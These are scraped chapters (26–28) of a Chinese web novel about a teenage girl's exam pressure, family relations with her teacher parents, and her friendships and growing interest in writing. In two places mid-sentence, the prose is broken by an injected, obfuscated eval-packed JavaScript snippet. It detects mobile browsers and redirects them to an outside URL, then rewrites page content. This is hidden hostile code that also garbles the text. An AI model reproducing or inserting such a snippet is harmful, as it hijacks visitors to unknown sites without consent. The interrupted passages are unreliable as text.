余希柠原本松开的眉头又皱紧:“不会全错了吧?” 同桌许于薇也说了自己的答案,和宋乔一样,显然,余希柠就是错的。 “算了考都考了,不想了,我们去哪?看球赛还是去吃海石花?我请客。” 上周末去爷爷奶奶家,赵婷破天荒给了她二十块零花钱,正好能请朋友吃碗海石花。 校门口遇到了林烜,余希柠随口邀请了下,没想到他竟然真答应一块去吃海石花。许于薇红着脸心跳得飞快,握着车把手的手指攥得紧紧的,就这样三人行变成了四人。 “林烜,你今天怎么不去打球了?” 宋乔见他篮筐里还放着颗球,就问了句。 林烜:“人凑不齐就不打了,班长,这次的卷子有那么难?” 宋乔上初三时当了班长,林烜就这么叫着一直没改口。听见他问卷子难度,余希柠都笑了:“怎么,你自己没参加考试啊?难不难你心里没点数?” 林烜:“我觉得还行吧,结果那帮人一个个耷拉着脸,无精打采的连球局都组织不起来。” “还行?你是真能耐啊,要我我也打不了一点。” 余希柠撅了噘嘴。 海石花店到了,正逢期末考结束,里面挤满了人,老板娘在冰柜前舀料的手都舀出残影来了,根本无暇管他们。 林烜仗着身高优势,都不用踮脚就已看清店内座位情况:“里头没位置了,要么买了走人,要么在这外面吃。” “那就外面吃吧。”许于薇抢先回答。 余希柠:“我无所谓。” 林烜淡淡瞥了她一眼:“行,那你们去买,我占位置。” 许于薇:“四人座,我陪你一块占吧,免得不好看。” 分工清晰,两个人负责买,两个人负责霸位置,海石花端上来的时候,已经有了空座。 “奶茶底的好好喝,你这个椰汁底的呢?”宋乔凑近尝了口余希柠的,晃了晃头:“咦惹,好甜。” 女生一坐下聊的都是八卦,林烜全程没有插嘴半句,吃了几口海石花就仰头靠着墙壁,看着来来往往的车辆,不知道心里在想什么,倒真像拼座专门来吃海石花的。 从许于薇这个角度看过去,能看见林烜棱角分明的下颌线,清俊的侧脸,几缕刘海搭在浓眉上,像极了花火杂志封面的男主角。 “你怎么不吃了,饱了?” 见许于薇停下动作,余希柠问了一声,下一秒林烜也回过头来,撞上他目光的许于薇赶忙垂眸。 “没,我在想你们文理分科,选哪个?” 这问题对余希柠来说一点都不新鲜,没上高中前她就想好了,自己只能读文科,这个事实家里人也认,她确实没有学理的天赋。 “我学理。” “我也是。” 宋乔和林烜都选理科,许于薇心里有些发闷:“我还没想好,我爸妈让我选文的稳妥些,但我想选理,未来选择面更广,竞争也要小一些。” 余希柠:“下周是不是就要交表了?考试结束后开家长会,那时就要讨论这个事。” 许于薇:“嗯,到时候看老师怎么建议吧。” 这问题没什么探讨性,三两句就聊完了,林烜一碗海石花见底,起身去付钱,余希柠见状立马追上去。 “我说的今天我请客。” 俩人有身高差,余希柠总得仰头说话,扒拉着林烜的手,抬脚挡住他往前迈的动作。 “行行行,你给就你给,别绊倒了讹我医药费。” 林烜扶住余希柠,等着她结完账才一块回到位置上。 “都吃完了,要不直接回家?” 林烜单手抄着口袋,也没想继续坐着。 许于薇:“行。” 26. 成绩 余希柠和他们不同方向,在路口就分开了,到家的时候,余序洲和陈慧柔都还没回,因为吃了碗海石花,也不饿,余希柠拿起遥控就开电视。 结果把频道从01摁到80,都没找到一个能看的节目,想到明天还得去上钢琴课,余希柠索性关掉电视,掀开琴盖练琴。 陈慧柔刚从陈敬涛家回来,一路脸色沉沉情绪不佳,当到了家楼下听见琴声时,宛若有一股力量如清泉般从她心间涌动而过,冰冰凉凉的,覆盖了原本积压在上面的焦躁和不满。琴声穿过玻璃窗、楼道,摇晃着落在她的心间。 心情好像又莫名舒缓开来了。 往日陈慧柔进家门后都是抓紧时间换衣服,然后煮饭做家务,今天破天荒的,连衣服都没换就坐在沙发上听余希柠练琴。 “妈,我练得差不多了。” 一曲弹完,余希柠回过头才看到陈慧柔坐在身后听,可她已经练了有半小时了。 “你再把四级考试的那几首曲子弹给我听一下吧。” “嗯?不烦吗?” 之前为了顺利考过,那几首曲子几乎是天天练的水准,练到后面只要有一个音衔接不上,余序洲都能听出来。 陈慧柔笑道:“怎么会烦,听你弹琴妈妈心里舒适得很。” 余希柠有些受宠若惊,连谱子都不用看,熟练把曲子弹完,陈慧柔点点头起身:“好听,谢谢你,妈这就去做饭。” 没走两步路,陈慧柔像是想起什么回过头来:“对了,期中考考得怎么样?” “很一般,您最好是有心理准备,我理科可太差了。” 余希柠一边把琴盖上,一边老老实实回答。分数这块瞒不了半点,她上学期就见识过了,别的同学发卷子才知道自己的卷面分,她在老师改卷子的阶段就已经知道。 学校组织老师统一阅卷,几个教师子女的分数一出来立马拉起排名,背地里没少被拿出来作比较。 有个语文老师的儿子,次次都是年级第一,数学还有过考满分的时候。相比之下,偏科的余希柠尤为典型,还考过全班倒数的分。 有次余序洲和陈慧柔说,自己现在阅卷都尽量坐在靠近门边的位置,轻易不会被看到,改完就赶紧跑,生怕被人拉住交流孩子的成绩,那样太丢人了。 这话被余希柠听见了,她强迫自己为了老爸的脸面努力些,但跟不上就是跟不上。她不想给自己太大的压力,变成分数的附庸者,心想着等高二分科就好了,分完文理,她就努力提高文综成绩。 懂得提前给父母打预防针了,陈慧柔面无表情地点头:“行,反正过两天就知道了,是吃蛋糕还是吃竹鞭,我们到时候看。” 黄沐卿打电话过来,是余希柠接的,陈慧柔正在厨房里煎鱼,玻璃门关上了。 “卿姨,我妈妈在做饭,要不等晚点我让她打回去给你。” “好呀,希柠刚考完试吧?这阵子是不是期中考?” 黄沐卿也是老师,余希柠一点都不惊讶她对于考试时间阶段的精准把控。 黄沐卿:“期中考考完该讨论读文理的事儿了吧?” 余希柠苦笑:“嗯,我读文科应该没什么悬念。” 黄沐卿似乎听出了她声音里的失落,安慰道:“文科挺好的,女孩子读文科找工作不难,考个师范就能和你爸妈一样了。” 余希柠笑笑没说话,她可不想当老师,小时候或许憧憬过,但现在一点兴趣都没有。 “你还有跟屿沉联系吗?你们现在年轻人是不是都用□□聊天啊?我之前还让他申请一个msn账号,被他笑话太落后了。” “对,现在都用□□,不过我没加他,而且我家的宽带是那种拨号上网的,我不怎么用。” 家里的台式就是用来扫雷和打扑克用的,先前余希柠吵着闹着要联网,余序洲一问价格,连连摇头。最后是宋乔的爸爸亲自来家里帮忙装了个模块,具体是什么余希柠也不清楚,总之带密码拨号上网,按时间计费。 至于□□号,初一那会余希柠其实给过林屿沉一个号码,但后来她忘了密码,所以又重新申请了一个新的,新号没有林屿沉的联系方式。 黄沐卿:“我把他□□号告诉你吧,你俩加一下,有什么问题可以交流交流,老同学了这层关系可不能断。” “哦行,卿姨你等等,我找下笔记一记。” 余希柠记下了林屿沉的□□号,纸条在她手中捏了许久才夹进笔记本里,对数字并不敏感的她在心里默默背出了那串数字。 “谁打来的电话?” 陈慧柔做完饭出来,脱下身上的围裙,一听是黄沐卿的电话,表情立马就变了,她飞快地跑到电话旁想要回拨过去,但动作很快又停下来。 “这都饭点了,我晚些再给她回。” 饭后,陈慧柔让余序洲洗碗,自己则跑到房间里去给黄沐卿回电话。余希柠张望了下房间,门紧关着,也不知道里头在聊些什么,但有一点,每次和黄沐卿通完电话,陈慧柔的心情都很不错。 “我妈跟沐卿阿姨的感情真好,丝毫没有因为异地就断了联系。小姨的电话都没来得这么勤。” 余序洲““那是,用你们年轻人的话说,她们俩就是好闺蜜。” “我妈今天不知道从哪回来的,感觉心事重重。” 余希柠把下午陈慧柔回家后坐在客厅听她练琴的事儿说给余序洲听,余序洲一边洗碗一边想象着那个画面。 “这也没什么吧?你练琴的时候我也喜欢坐在旁边听啊。” “哎不一样,我妈很少有坐下来的时候。她哪次不是一回家就进厨房做饭,等饭煮熟的间隙又马不停蹄地去扫地、拖地。可我今天见她连衣服都没换就坐在那,真的有心事!” 余希柠嫌弃余序洲是个榆木脑袋,对家里人观察并不细微:“等妈妈打完电话你去问问,就说察觉到了她的情绪,看她会不会跟你说实话。” 余序洲半信半疑,还是觉得余希柠想多了:“可能你妈就是觉得你这阵子听话,琴弹得好听想坐下来欣赏而已。” 余希柠彻底放弃:“算了,跟你讲不通,拜拜。” 余序洲把碗洗完,又把垃圾给倒了,回来才见陈慧柔从房间里出来,他看了眼墙壁上的挂钟,足足聊了四十分钟。 再这么下去,电话套餐估计得换成长途话费便宜的才行。 “这电话粥煲的,没影响人家吃晚饭吧?” “没,她也刚吃完。” 余序洲仔细观察陈慧柔的表情,眉梢带了点笑意,除此以外看不出什么,也不像余希柠说的什么心事重重。 “你垃圾都倒完了?记得把桶冲一冲再放回去。”陈慧柔吩咐道。 “行。”余序洲拎着桶进洗手间,把里外冲刷一遍放回原位,见陈慧柔还在门口,就顺嘴问了句:“最近没什么事吧?跟沐卿老师讲这么久电话,又让她开导什么?” “还能是什么,压在我心头上的大山就两座,一个是余希柠,一个是我爸。” 自十几年前从余光亮家搬出来后,陈慧柔就没有再过问过公婆的事情,一颗心扑在自己小家上。余光亮和赵婷有什么事,都是余序洲去处理,她一次都没出现。 后来徐晓敏生病,陈慧柔每天都去探望,一有时间就过去照顾,并没有因为嫁出去就撇开不管。对女儿的做法陈镇东都是看在眼里,对她的依赖程度也强了不少,时不时就给她打电话,问什么时候去看他。 陈镇东从前都是被叫陈总工的,老朋友不少,现下都是当爷爷当外公的年纪,早上没事就来陈家喝茶聊天,甚至还有拉二胡唱小曲的。 王君是家庭主妇,白天丈夫孩子出门上班上学,她就料理家务打扫屋子,因着这帮老爷们在家喝茶聊天,结束了她还得负责收拾。 一来二去多了些怨言,陈敬涛就把家对面的小仓库腾出来,给陈镇东当会客室,朋友来了就都聚在那间屋子。至于打扫什么的,陈镇东能做就做,不能做的,陈敬涛下班回来收拾。 “今天中午,爸给我打了电话,说想吃鹿角了,让我下班的时候买一块给他。还说有事要跟我聊,让我无论如何都过去一趟。” 鹿角是镇上一种糕点,做成鹿角形状进行售卖。 余序洲双手抱臂,一副认真聆听的模样:“什么事?” 陈慧柔拉开餐椅坐下,无可奈何道:“无非就是跟我嫂子处得不融洽,说要搬回去后街巷住。” 余序洲一愣:“真的假的?大佬能同意?” “大佬怎么想我不知道,我是劝他不要作,这跟儿子儿媳住一块有摩擦在所难免,如果事事都放在心上斤斤计较,迟早生嫌隙。” 余序洲无奈摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071803|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头笑:“想当初在后街巷,不也是住一起,那会怎么没见爸有什么意见。” 陈慧柔瞪了余序洲一眼:“不一样的好吧,从前他还是一家之主,现在老了,说话早就不顶用了,大佬才是一家之主。” “也是,单看他对你的态度就能感知到,你这个女儿啊,都顶别人家半个儿子了。” 陈慧柔踢了余序洲一脚:“别瞎说,我做事从来都不在乎别人怎么评价,心里无愧就行。” 余序洲:“行,那这事最后怎么解决?说服你爸了?” “嗯,不然呢,真让他搬回去自己住?到时候又折腾人。” 陈慧柔站起身,伸了个懒腰:“我本来还发愁要不要私底下和大佬沟通这事,让他和嫂子说说,别老跟爸对着来。但沐卿提醒我了,这是他们家里事,应该大佬自己察觉或者让爸和大佬聊,总之我的身份不适合从中介入。” 还真让余希柠说对了,余序洲不得不庆幸有女儿提点,忙不迭补充:“确实,沐卿老师说得对,你是女儿,做事要有临界点,管太多了,以后反过来要遭人怨怼,费力不讨好。” 做人做事,都有个平衡点在那,多了,就不行了。 “你明天是不是得去学校改卷子啊?”陈慧柔想起来余希柠今天说的话,友情提醒:“找个门口的位置坐,你女儿自个儿说了,考得不怎么样。” 余序洲:“唉……” 改卷子次要,到时候开家长会,估计也得找个门口的位置,最好不要跟班主任对上眼。 余序洲心里已经提前有了打算。 周日晚,余希柠就知道了自己的考试成绩,尽管做好了心理准备,但陈慧柔还是忍不住想要说她两句。事实证明,预告了也没用,该来的低气压还得来。 “我像你这么大的时候,世界地图闭着眼都能画出来,高一的地理能难到哪去,不都是常识吗?你地理都考这么少,分了文理照旧得垫底。” 陈慧柔拿着成绩单在屋里来回走,始终不明白余希柠在学习这件事上怎么老是不开窍。 余希柠努了努嘴,小声道:“我觉得挺难的,地理还是有一部分思维偏理科,不是纯背诵就会的。” “就你这分,上本科都难。” 陈慧柔把成绩单甩在桌面上,气得转身离开。 房间里只剩下余希柠,她看着桌面上堆着的练习册和卷子,拿过成绩单一个科目一个科目看完,长叹一口气。 她好像真不是什么读书的料子,上大学是不是只有高考这一条路子?没有别的捷径了吗。 周一,林烜来找余希柠的时候,她正趴在桌子上补觉。林烜抬手指了余希柠一下,无声问宋乔—— 考砸了? 宋乔点点头。 林烜一只手背在身后,似乎拿着什么。 许于薇看见了,拉宋乔陪自己去打水,把位置让给林烜,离开教室前她假装不经意地往后看,彼时林烜已经站在宋乔的位置并叫醒了余希柠。 余希柠睁开眼,面前出现了一本杂志,视线顺着封面往上—— “《最小说》?” 林烜点点头:“嗯,在报刊亭看到的,老板说是时下卖得最火的杂志。” 余希柠愣住了,直起身来看向林烜,半边脸因为睡觉还压出了痕。 “买给我的?” 林烜的声音依旧很平静,还带了些漫不经心:“啊,你不就喜欢这种,随手给你带了本,不用谢,当你上次请我吃海石花的回礼了。” 一碗海石花五块钱不到,这杂志二十几块钱,算哪门子回礼。 “我不要,还不起。” “没让你还,你不要我就丢垃圾桶了。” 下一秒林烜当真拿走,余希柠赶忙拉住:“别别别,谢了。只是这会儿我真没心情看这些。” 林烜随手掀起余希柠桌上的课本,从最底下拿出卷子,这人藏卷子的习惯还跟初中时一样。 “啧啧啧,余希柠,你说说你,总跟我、宋乔混一块,怎么半点聪明劲都没沾上?” “哎你拿我卷子干什么!” 余希柠站起来抢,有风吹进教室里,她的头发微微往旁边飞,林烜仗着个子高,都不用踮脚,只是把手左右晃来晃去,就已经惹得余希柠不耐烦了。 “林烜!” 还是熟悉的打闹。 27. 非议 饮水机前,许于薇佯装自然地同宋乔八卦:“你说林烜会不会是喜欢希柠啊?我就没见过他跟其他女生走得那么近过。” 宋乔对这个问题显然并不意外,因为不止许于薇,其他人也问过她。 “不是,他俩就单纯的好朋友,你不是知道吗,林烜和希柠初中是同桌。” “可他们的关系看起来……” 许于薇斟酌着用词,生怕被宋乔看出什么来。 宋乔思索了一下,说:“顶多就是铁哥们,他俩初中就这样了,一个文科差,一个理科差,班主任就把他俩安排在一起,想着学习上能互帮互助,谁知道脾气倒归一处去,很合得来。” 两人打完水回教室,透过窗户,许于薇看见林烜正在给余希柠讲卷子,余希柠低垂着头,一开始还听得很认真,紧接着林烜似乎说了什么讨人嫌的话,余希柠反手就给了他一拳。 许于薇抿着唇小小声:“我打赌,他一定是喜欢希柠。” 宋乔偏头看了她一眼:“这男生女生之间,不是只有喜欢这一种的。” 两人一前一后回到座位,林烜见宋乔来了,把题目给她看,顺便说了自己的灵活解法,企图得到宋乔的认同。 “她说我是瞎猫碰上死耗子,你评评理。” 宋乔看了下,又拿草稿纸演练了一遍:“确实,上课的时候老师就说这题有两种解法,还让我们课后思考,下节课再解答。你来得可真是时候,提前把思路给我们说了。” 林烜挑了挑眉:“不用谢。” 上课铃响,林烜回自己教室,宋乔坐下时正好见余希柠把杂志收起来。 “他来给你送这个?” “嗯,说是报刊亭看见的,现在最火的杂志。”余希柠给宋乔看了眼,然后塞进抽屉里。 “《最小说》很火,我听说过,里头作者年纪也不大,好像也有高中的,投稿成功当签约作者的话还能出版小说。你要不也试一试?” 余希柠都听笑了:“高考能加分的话,我就试。” 2011年的秋天,余希柠上了高二,终于等来了她梦寐以求的文理分科。许于薇和她一样选了文科,还是同班同学,宋乔选了理科并考上了重点班。 虽然避开了生物化,但数学依旧是让余希柠头疼的科目。在陈慧柔的强烈要求下,余序洲找了学校数学组副组长,也是高二理科重点班的数学老师帮余希柠辅导了几次功课。 严师出高徒,余希柠的数学成绩提高了不少,满分150的卷子,偶尔也能考110多分。 很快迎来第一次月考,学校头一次和市里三所高中联合出题,卷子难度据说是模拟高考。 这刚上高二就模拟高考,知识点都还没学到呢,学生们只喊压力大。班主任解释,考的还是高一的知识点,只是说题型和难度参考高考的来。 另外,因为下学期还有个英语竞赛,老师会提前在接下来几次月考中,选择优异者进行课后集中辅导培训,层层筛选出最拔尖的几位代表学校去市里参加竞赛。 总之一句话,这次月考很重要,所有人摩拳擦掌铆足了劲准备,余希柠也不例外。考试前夜,她还失眠了。 陈慧柔说她就是知识点掌握得不牢固,才会每次一到大考就容易睡不着,但凡心理素质过硬就不会出现这种情况。 加上理综,一共考了三天时间,结束走出教室时人流拥挤,隐约还能听见对答案的声音。余希柠一边收拾书包一边回头张望许于薇,见好几个同学围着她,便耐心在走廊口等着。 “希柠,我来了我来了。” 许于薇书包链才拉上,见余希柠如此淡定,忍不住问:“考得怎么样?” 余希柠声音里有气无力:“不愧是联考,够狠。” “我听说卷子基本是市里出的,我们就是买过来考,也没有参与到出题。不知道市里高中是不是都这水平,如果是,那可太强了。” 连许于薇都觉得难的程度,余希柠也没什么好发表的。 “往后每个月都要考试,我也不知道自己有几层皮能被我爸妈扒的。” “啊?叔叔阿姨还打你不成?” 两人并行下台阶,余希柠陪着许于薇去停车场取车,站在一旁等:“长这么大也不打了,就是偶尔会因为分数吵起来,吵架这种,次数多了也伤感情。” “从另一个角度看,他们也是关心你,不像我,我爸妈从来不过问我分数和考试的。” 许于薇耸了耸肩,苦笑。 上高一时学校让填家庭资料,当时余希柠就问过同桌许于薇,父母是什么职业,许于薇回答做戏,听得余希柠一愣一愣的。 听说过当教师、当医生、当警察或者做生意,个体经济,唯独没听过做戏。 “就是戏班子,唱潮剧的那种,哪里请他们去唱,他们就去,不会固定待在一个地方。” 许于薇初中就是寄宿生,高中是在大伯家借住。父母现在还在外演出,很少回来,别人是过年过节团聚,他们家相反,父母过年过节更忙。 “你这么说,我倒像是身在福中不知福。” 许于薇摇头:“也不是,如果我们俩能中和就好了。” 两人在校门口分开,余希柠双手抄着口袋,拐进教师村那条路时迎面遇上了高一时的班主任许明姚。 “许老师好。” 许明姚表情淡淡:“哎,回来了。” “是。” 余希柠应声的尾音还未落,许明姚人已经面无表情地从她身边经过,方才那句“哎,回来了”像极了条件放射的机械回应。 比起从前嘘寒问暖式的聊天,现在这种感觉,正如这吹在脸上的风,刮得疼。 回到家,余希柠整个人蔫蔫的,心里面还惦记着许明姚的态度,陈慧柔听见声音从厨房里出来,瞧见女儿这副表情,心里咯噔一声—— “又考砸了?” 余希柠这个人好猜得很,开心还是不开心都写在脸上,从不藏着掖着。 “我算是发现了,古有以貌取人,今有以分取人。” 余希柠放下书包瘫坐在椅子上,把方才在路上遇到许明姚的事儿说给陈慧柔听,声情并茂描述着从前和现在判若两人的模样。 陈慧柔似信非信:“你这夸张了吧,他不都回应你了吗?” “从前不是这样的,会多问我几句,关心一下我的成绩。” 余希柠还在挣扎,就是觉得老师带有色眼镜看学生,成绩好与不好千差万别。 陈慧柔也是听笑了:“多问你几句,你敢应吗?考得好才巴不得老师多问,考得差得夹着尾巴做人。” “我成绩不好就不是好学生了?”余希柠垂头丧气:“算了,这话题不讨论了,我回房间写作业。” 陈慧柔追进屋里,叮嘱余希柠:“考完试要多总结,别每次考完就挂个脸,自己也不知道反思一下怎么没考好就这么稀里糊涂的过了。” 余希柠听得烦了,把门反锁上,坐回桌前,翻起课本下意识就想到卷子上那些不该错的题,更烦躁了。 陈慧柔的包挂在衣架上,余希柠从里面翻出手机来熟练拨打陈梓钰的电话,没过多久对方就接了。 “姐,你没在上课吧?” “没,刚在图书馆,怎么了?” 余希柠特别想陈梓钰,陈梓钰刚上大学那会,她天天吃完饭就打电话过去。陈梓钰白天参加军训,晚上有各种大大小小的会要开,接电话时都得把手机开免提放在一边,然后争分夺秒洗衣服。 余希柠问的问题非常多,军训苦不苦,大学生活怎么样,学习难不难,社团多不多…… 尽管很累,陈梓钰还是耐心回答她各种问题,一通电话少则十来分钟,多则四十几,每晚都打。 后来陈敬涛知道了这事,委婉和陈慧柔提起,说初中这几年很关键,得把余希柠看紧了,别一颗心总想着往外跑,心浮气躁自然读不好书。 言外之意陈慧柔听出来了,她收起手机,警告余希柠不要给陈梓钰打电话,影响对方学习。 余希柠很是费解:“都考上华师了,还影响?” “我没打扰你吧?我就是忍不住了想给你打电话。” 都拨通了才想起妈妈之前的警告,余希柠瞬间变得支支吾吾的,就怕又被扣上罪名。 陈梓钰听出了余希柠声音里的沮丧,耐心问:“是不是和学习有关?又考得不好?” “大人的世界里只有成绩,因为考得不好,不仅是我,连带着我爸妈都要受人指点看人眼色,你不觉得很荒谬吗?” 余希柠始终不明白,分数明明是她自己的事情,为什么父母会跟着她受人冷眼。 这些话她没有跟陈慧柔和余序洲讨论过,都是私底下观察到的。 教师村里有两种人,一种朴实无华,从不与人争斗。做事讲究无愧于心,无愧于自己,既不议论旁人,也不给旁人议论自己的机会。 另一种就是阿谀奉承,趋炎附势,很擅长察言观色说漂亮话,谁家但凡露出点什么厉害的,就上赶着结交亲热。 别说怎么当老师的也会这样,老师也是普通人。 “我明白你的意思,但你也有体会过吧,考得好的时候,大家对你的态度和看法也很不一样。举例你中考成绩出来时,考上二中的时候。” 那是余希柠迄今为止,为数不多的高光时刻之一,她当然记得很清楚。 陈梓钰柔声解释:“人就是这样的,世俗的成功换来的是尊重和自由。你现在看到的一切不好,在你学习成绩发生变化时都会随之消失。因为他们不了解你,说白了就是外人,只能从这些表面客观的东西去对你进行评价。你又不能指望他们不评价,人本来就是好奇且八卦的动物,你不也是?” 余希柠觉得陈梓钰那句——“世俗的成功换来的是尊重和自由。”说得非常有道理。 “这是你领悟到的点吗?” “算是吧,毕竟我爸也是老师,你现在经历的,我曾经,或者说我当下也在经历。” 余希柠感叹道:“当教师子女真可怜。” “但你不能否认,你也获得了不少利好,总不能只看到坏的地方,而忽略了你得到的吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15071804|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 陈梓钰反驳了她,但语气并没有很重,依旧是很温柔地开导着余希柠:“比起进入社会后的生活,当下的环境已经算很简单很纯粹了,起码你只需要考试,通过考试就能得到想要的,最起码公平。” “嗯?” “我可能说得太深了,你现下还没有体会,不过希柠,如果你不想让人看轻,那就要让自己变得更出色,至于哪方面的出色,就要看你自己了。” 余希柠似懂非懂,可不得不说,和陈梓钰聊完后的心情确实舒服许多。 “谢谢姐,我大概知道了。” “哪天等你考到第一名时你就会发现,那些对你指指点点态度轻浮傲慢的人,通通都消失了。” 陈梓钰的话多少影响了余希柠,第一次月考后她调整了学习目标,虚心向同学请教学习方法,对薄弱科目重点学习、归纳和总结。 第二次月考正逢雨天,是入冬前降温的信号,余希柠打着喷嚏一边找擤鼻涕的纸,前排递过来一小包。 许于薇:“感冒啦?” “降温好突然,我早上出门感觉被风刮蒙了。阿嚏——” 余希柠恨不得堵住自己的鼻子,监考老师进来,她再这么打下去很容易引起注意,还影响到周围同学。 许是祈祷有了效果,卷子一下发来,注意力全集中在了考题上,也不打喷嚏了。上午考完语文,下午还有一门数学,余希柠回到家仓促吃了个饭就赶紧去睡觉。 睡前陈慧柔给她冲了包小柴胡,提醒她睡醒喝了再去考试。 门关上,陈慧柔看向余序洲,哑然失笑:“我都不知道该说什么好,看不出是真的还是苦肉计了。” 余序洲:“生病还能是苦肉计?” “她哪次考试不整出点幺蛾子来,之前就说什么失眠,现在又感冒头晕。考不好总有借口。” 陈慧柔回房午睡,下午还有早课要上:“你出门的时候看着点,如果她没起来记得叫醒。” 余序洲:“好,交给我。” 三天考试眨眼就过,余希柠一回家就病倒了,连夜发烧呕吐,把陈慧柔一顿折腾,她心里只惦记着发烧是不是又要长高了。 小时候只要一发烧,大人就说会变瘦、长高,是长身体的阶段,所以余希柠总想着靠发烧来窜个子。 “妈,你帮我把书包拿来吧,我看会书。” 余希柠刚吃完药,靠着床头,她实在是睡不着了,哪有那么多觉。 一听她要看书,陈慧柔表情里充满了不确定,帮她把书包拿过来时还调侃:“会主动要学习了,看来这烧是把人给烧清醒了。” 包里还装着上次林烜给买的那本《最小说》,一直没来得及看,余希柠翻了翻,没一会就看入神了。 这些文章和她传统印象中的写作风格完全不同,每个故事看似现实荒诞但其实都有隐喻,还有就是那些句子,怎么会有这么犀利又优美的文字同时存在于一个完整的句子里,不仅毫不违和,反而觉得说中了心声。 像是有人把自己不会表达的句子一下子全都组织了出来,有了共鸣。 杂志很快就看完了,这些看似矫情、奢华、悲凉到骨子里的文风准确击中了余希柠的喜好,她眼睛亮亮的,掀开被子下床,从抽屉里找出一个新本子,用来摘抄里面喜欢的句子。 一写就是一个下午,待到窗外的天色都暗了下来,本子上密密麻麻两三页的句子,时间过得真快,余希柠头一回体会到文字带给自己的充实感。 周一课间,余希柠主动去找林烜,被同学叫醒的林烜顶着额前被压得乱糟糟的头发,表情有些不耐烦,可当看到来人是余希柠时,又立马起身。 “稀罕,找我干什么?” 林烜声音里还带着明显困意。 余希柠难得关心:“你这是昨晚没睡好?” “熬夜看球赛了。”林烜倚靠在门框处,恰逢班里课代表抱着卷子过来发,就顺带问:“月考考得怎么样?” 余希柠:“还行。” 是真的还不错,比第一次考进步了不少,当然应该也和卷子难度降低有关,这次卷子是学校老师自己出的,不是联考形式。 “我找你是有件事想让你帮我。” “什么?” 余希柠从口袋里掏出零钱递给林烜:“你去报刊亭的时候帮我看看有没有新一期的《最小说》。” “哦?喜欢?”林烜瞬间就不困了,懒散笑着:“看来老板娘没骗我,那本杂志确实很受欢迎。” 余希柠点头:“是,它的文章很有风格,就感觉很不一样,估计那就是外面的世界。” 拿着零钱的手还高举着,林烜接过揣进口袋里,眼皮缓缓掀起:“行,买到了我给你送教室去。” “谢谢。” “小事。” 上课铃响,余希柠挥了挥手转身跑回自己教室。林烜站直了身,待到看不见对方身影,这才转身打着呵欠回座位上。 “林烜,放学打球去?” 后桌发来邀请,林烜直接拒绝:“不了,放学有其他事情要做。” 28. 早恋 这次月考的英语,余希柠破天荒考了班里第一名,因为余序洲教英语,所以自小她底子就不差,只是上了初中有段时间疯玩就有些跟不上了。 下课时老师把她叫到办公室去,余希柠有些忐忑不安,特别是办公室里都是熟面孔,一路上没少揣测老师心思,到底要干嘛。 “哎哟希柠来啦,这次月考考得不错啊!” 刚一进门就听到语文老师夸自己,余希柠下意识弯了弯腰:“谢谢老师。” “我也听说了,这次英语还考了第一名?周老师你这是错过明珠了啊。” 周老师就是余希柠的英语科任老师,一听同事这话,立马朗声回应:“可不是嘛,我都想吃后悔药了,来来,希柠,这是过去三周英语培训班的卷子和课堂笔记,你拿回去写一下。” 就是那个为了英语竞赛特设的辅导班? “老师……” 余希柠有些不明白,旁的老师帮忙补充:“你啊是个好苗子,周老师这是想让你后面也参加竞赛班。” 周老师热情道:“说起来还真对不起序洲老师,怎么就把他家千金给忘了。” “老师,我不想参加竞赛班。”余希柠把手里的卷子放了回去,抿唇:“谢谢您的关心,如果没有其他事情的话我就先回教室了。” “哎,怎么了?你这次不是考得挺好的吗?其他老师还说我呢,上次没把你列入培养名单里,好在还有时间,这周开始上也可以。” 周老师一片好心,也弄不懂余希柠为什么会拒绝自己,换做其他学生这会儿早就激动得不得了吧。前一阵班里还有几个女生来问能不能去听课,不占用竞赛名额,就单纯去学习。 余希柠依旧是那副淡然的模样:“谢谢老师,只是我那个时间段有其他安排了,而且我也没有参加英语竞赛的想法,机会还是留给其他同学吧,我先回去了。” 周老师脸上是藏不住的惊讶,人离开办公室了,她都还没回过神,与旁边的科任老师面面相觑。 “这是?” “要不等下午组里开会,你和序洲老师交流一下?” 周老师收回卷子放进包里:“也行,真看不出来希柠性子这么直接。” 从办公室里出来,余希柠开始琢磨放学回去要怎么跟父母解释,在余序洲眼皮底下上学,这事儿不可能瞒着。 果不其然,余序洲一回家,就把她叫出来问。 “周灵老师说她想让你去上英语竞赛班,你拒绝了?说有其他安排?这是怎么回事?” 一提到跟学习有关的话题,不论在做什么,陈慧柔都会第一时间停下来凑过来参与:“英语竞赛班?什么意思?” 余序洲解释:“全国中学生英语能力竞赛,每年举办一次,11月中旬是初赛,12月中旬是决赛。学校每年都会组织培养一批学生去参赛,从高二开始,有些成绩突出的可能高二就参加了。” “就是你前年辅导过的那个英语能力竞赛?” 陈慧柔有印象。 可她方才怎么听余序洲说余希柠拒绝参加,这么好的事情也会落到自家女儿头上? “竞赛班是淘汰制的,每学期淘汰小部分,每周三、周四下午都得去上课。原本名单里没有希柠,这不,这次月考英语考了全班第一,周灵就说要让她也参加,谁知她还拒绝了。” 余序洲听到这消息也很纳闷,特别周灵还补充说希柠周三周四下午时间都安排好了,没空来参加。 她安排什么了? 陈慧柔大为吃惊,甚是不理解:“你不去上竞赛班?为什么啊?” 余希柠不以为意道:“这班有什么意思,去了就是写卷子、考试、讲卷子。再说了一开始没让我去,现在才让我去插班,别的同学怎么办?肯定又觉得我是因为老爸的关系才进去学习的,我不要。” 